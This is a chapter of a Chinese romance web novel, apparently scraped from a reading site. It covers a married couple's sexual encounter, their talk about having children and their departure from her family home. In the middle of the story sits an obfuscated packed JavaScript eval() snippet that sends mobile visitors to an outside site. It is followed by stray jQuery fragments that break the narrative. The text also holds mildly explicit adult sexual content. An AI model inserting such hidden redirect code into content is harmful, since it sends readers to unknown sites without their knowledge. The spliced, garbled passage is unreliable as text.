春、宫图啊。
薛灵玥红着脸抬手一抓,“这有什么值当藏的......”她现在也是吃过大肉的人了,勉强镇定着翻开图页,撞入眼帘的就是一款颇为高难的姿势,她眼睛倏地一亮:“哇,还能这样!”
秦艽咽了两口唾沫,黑眸小心地观察着她的神色,却见她红脸儿,越翻越起劲,半点羞恼的神色都不曾有,末了甚至拍了拍他,大大方方道:“有这等好东西你该早拿出来的,咱们一块学。”后半句声音细若蚊蚋,总算带了点羞意。
他心头一热,一把撤掉她手中的册子扔到榻上,双手抱起薛灵玥,她笑着大叫一声,钻进他怀里,脸蛋紧紧贴着他的脖子。
转身正要把人压在榻上,好好检验一下今日研习的成果,想到什么,秦艽身子蓦地一僵,咬着牙又把薛灵玥抱起来。
“怎么了?”她大眼睛眨眨。
秦艽愤愤道:“今日有人摸过咱们的榻,便是你阿娘我心里头也难受,等我换套衾褥!”
薛灵玥咯咯笑起来,被他抱在臂弯处的小腿微微翘起,蹬掉两脚上的鞋子,露出一双雪白的脚。
她杏眼狡黠,故意坏心眼地蹬他一脚,秦艽鼻腔一热,旁的也不顾了,大掌顺势紧紧攥住她暴露在外的脚腕,顺着摸上去。
“先等会儿,等会儿,”薛灵玥试着往回缩,莹润可爱的脚趾立刻害羞的蜷缩起来,却被他握得更紧了,极其没有安全感的姿势让她下意识并拢双腿,“还没沐浴呢......”
“先来一次,再去,嗯?”秦艽凑得近了,浅褐色的眸子盯着她,嗓音低哑,像是一种蛊惑,“好不好,呦呦?”
秦艽微微直身,稍退几寸,与她拉开一丝距离,而后一手按住她的膝盖,温热的大掌游鱼一般,顺着什么东西的边缘探了进去。俊美的脸缓缓向下,露出些许朝圣般渴望的神情。
不好!他要,他要——薛灵玥尖叫一声,心里羞愧难忍,翻身就往里面爬。
怎料他早有准备,一个猛拽,轻易就将她牢牢压制,整个压了上来,陷在柔软的缝隙里。不容置疑的力量又很快化为疼惜,轻浅得毫无规律,相隔的衣料很快变了摸样。
水汽越来越重,偌大的礁石不断在波涛中起伏跌宕。
波涛翻涌的山崖边,隐藏在暗处的滕蔓找到了彼此,它们卷曲的枝叶伸展开,试探着慢慢接触,很快,天边的艳阳刺破乌云,一阵巨浪翻涌而来,仿佛天地昏暗,四周万物都化作乌有,而这些乍遇天光的枝叶仿佛只需轻柔的微风,便心甘情愿交付一切,任由它带着自己走向任何未知的丰饶的去处。
滚起的浪花引得潮声阵阵,打湿了浮舟上的行囊。
一番冒险,湿透的旅人,疲乏使她不住的喘息,见他又要凑过来,连忙用手去推,“不成了,明儿再来......”
“嗯,抱你去洗。”他眼神一暗,答应的好好的,身体也老实得向后退开,然而就在薛灵玥放松警惕,顺从的张开双臂被他拥住的那刻,船上的水手忽然纵身扎入水中,极深得向秘境深处探去。
天边的艳阳被乌云遮蔽,天色又暗下来,汪洋再次涌动,平静的海面之下隐隐酝酿着惊天骇浪,执着的水手不断向着那从未有人探访过得深处游去,他要在那处打上属于自己的,独一无人的烙印。
............
天光微亮,严丝合缝的帐中一如昨日昏暗。
耳边隐约传来窗外鸟雀叽喳的叫声,秦艽皱皱眉头,被一阵针刺般的酸麻感惊醒。
缓缓睁开眼,薛灵玥几乎整个温热柔软的身子都压在他身上,脑袋正抵着自己的下巴,秦艽满足地喟叹一声,勉强动了动酸麻的手臂,大掌轻抚着她的脊背。
一阵热意袭来,她无意识地蹭了蹭,唇间溢出一丝呓语。圆润莹白的脸颊挤在他的胸膛上,肉儿嘟起来,看得秦艽眼热手欠,悄悄抬起另一只手,修长的手指弯起,小心珍重地贴着她脸蛋的轮廓摸了摸。
“哼,又被我抓到了......”
她的声音有些沙哑,透着才醒来的困倦,贴着他打了个哈切,才懒懒道:“就知道你要趁我睡着偷袭......”
秦艽哑然失笑,结实有力的臂膀抱住她转了个圈,又将人压在身下,鼻尖凑过去与她的蹭蹭,轻声呢喃:“昨天舒不舒服?”
她一笑,故意偏过头去躲开不答,秦艽不满地皱皱鼻子,追着她蹭,嘴唇蹭过她的耳朵,热气一股一股地喷着,执拗地问:“到底舒不舒服嘛......呦呦......”
脖颈耳后都传来湿热的触感,薛灵玥躲避不及,隐隐觉得某处又要昂首翘头,连忙抬手按住他,娇声道:“舒服,真舒服!”
“真的?”秦艽勉强抬起身子,黑眸紧盯着她:“不是哄我呢?”
“谁稀得哄你。”薛灵玥嗔笑着给他一个白眼,但落到秦艽眼里却完全不是那么回事儿了,他只觉小娘子媚眼如丝,含情凝睇,被瞪得浑身酥麻,登时如饿狼扑食一般垂下头。
薛灵玥哪想得到他反正这么大,防备不及,叫他钻了空子,昏昏沉沉由着那股热浪袭来,再次陷入一次又一次的顶峰和下坠。
不知过去多久,许是屋外日头高照,帐中也隐隐传来闷意。
久战方休,汗津津地倒在一处叠抱着彼此,秦艽拇指抚过她额角被汗水打湿的鬓发,轻声道:“昨夜阿娘都跟你说什么了?”
“也没什么,”薛灵玥咕哝一声:“就说我们年纪尚小,不要着急要娃娃。”
实际上明秋担忧得很,怕她才十七八岁的年纪就做了母亲,日后牵挂孩儿,万事都脱不开身。
阿娘说得有道理,何况她初入仕途,哪有时间为家中之事操心,故而嘴上便应了,实际心里仍想听听秦艽怎么说。
他们已经成亲,是一家人了。那这就不是她一个人的事,他独身在这世间,最渴望的就是有一个家。
但秦艽闻言,却立刻应了一声,笑道:“我也是这般想的。”
“你不想要娃娃吗?”薛灵玥一愣,下巴支在他的胸膛上,好奇地歪过脑袋。
“不想要,”秦艽双臂拥上来,长腿一抬,紧紧地搂住她的身子,如一只大猫似的,把脸拱进她的颈窝里撒娇,“就想和你两个人,万一有了娃娃,你眼里肯定没有我了......”声音越来越低,难得带着几分任性。
薛灵玥被他压的动弹不得,只得抬起手,掌心安抚性摸摸他的后脑,哄道:“哪有的事,你净瞎想。”
在她看不见的暗处,秦艽眼睛精亮,嘴角弯起,整个人温香满怀,被她呼噜着,舒服地浑身都麻了,哪里还有半点委屈的样子。
他就是不愿意要孩子,这两日亲近之后,总要把东西弄出来才放心。如此还不算完,秦艽已经打定主意,等安顿下来,好好找几个避孕的方法,确保万无一失才行。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086767|184007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人对孩子的事莫名达成了一致,就此揭过不再提。
如此又过两日,到了要出发的时候。
这日一早,天才蒙蒙亮,天际泛起一丝鸭壳青时,秦艽便起身做最后的打点。
薛家众人亦是早早醒来,等在院中。
提前收拾好的马车后整齐叠摞着几个箱子,宽敞的车内足能坐下四人有余。院子中八匹威风凛凛的骏马仰首嘶鸣,宽厚的蹄子在地上来回轻踏。
带到整装完毕,秦艽立在阶前,郑重地朝薛家二老行了大礼:“二老与舅兄放心,往后我秦艽必定尽心护灵玥周全,此生不负。”
晨风袭来,薛赟攥着衣袖的手顿了顿,望着这个比家中女郎还要固执的郎君,长叹一声:“往后的日子就只有你们二人了,要相互扶持,相互体谅,灵玥有时性子倔强,脾气犟,劳你多担待......”
他说着,微微颔首,低声道:“我这个做阿耶的不称职,对不起她,如今除了银钱,恐怕什么也补不了了。我薛赟这辈子没求过人,但你是她选的郎君,日后灵玥......便拜托你了。”
薛赟说罢,竟是深深弯下腰去,朝秦艽回以大礼。
吓得秦艽急忙将他扶起,笑道:“父亲大人,这可万万使不得,照料灵玥是我应尽的本分,何来托付。”
薛灵玥方才赶来,乍见此景,总算明白为何卫国公这老精怪能将她阿耶拿捏得死死的。
无他,唯是她阿耶老实忠厚。
今日薛灵玥与何瑛起得最晚,两人一同在正院匆匆用过早膳方才赶来。
用膳时听何瑛说起,薛灵玥这才知道赵煊那厮竟是追到幽州来了,大有不到手誓不罢休的架势。
只不过幽州是裴令仪的地盘,诚意侯的手再长,也不敢伸到人家家里轻易造次,加之何瑛隐身庄中,赵煊在街上转了两日,眼下还不知晓何瑛的踪迹。
赵义山只有赵煊一个独子,居然放纵他如此任性妄为,这让薛灵玥十分意外不解,若是他在暗中谋逆,赵煊对赵义山来说除了宗嗣繁衍,更是一股不可或缺的重要倚靠,但这么不靠谱的儿子,当真得用吗?
何瑛不知薛灵玥究竟在盘算什么,只道:“你若有需要我帮衬之处尽管开口,咱们姐妹二十年的情意,哪怕日后天涯海角也割不断去。”
道什么武宁卫与朝臣对立不容,她何瑛都不在乎。
薛灵玥眼眶一热:“我那地方天高皇帝远,能有什么要紧的事,倒是你,眼下有姨母护着,回到长安又孤身一人,万万多加小心,切记莫为了案子把自己卷进去。”
何瑛点点头,两人用力到发白的手紧紧攥在一起。
晨光乍起,天色放晴,到了要离别的时候。
薛灵玥接过阿耶递来的缰绳,身形利索地翻身上马。
回过头,不舍的视线凝望而去,阿耶阿娘搂在一处,无言悄声地摩挲眼角;阿兄面露不安,勉强着朝她挥挥手;倒是裴令仪和何瑛好些,母女两个还有功夫打趣,叫薛灵玥勤勉肯干,早些回长安去团聚。
秦艽眼中酸涩,沉声道:“走罢,总还有再聚的时候。”
她点点头,抬起手中的细鞭。
二人夹紧马腹,轻嗤一声,朝着天光粲然的方向驾马而去。
明秋眼中淌下泪水,不舍地向前追了几步,却只见两道并辔而行的身影穿过长街,最终如同小小的墨点,消失在尽头。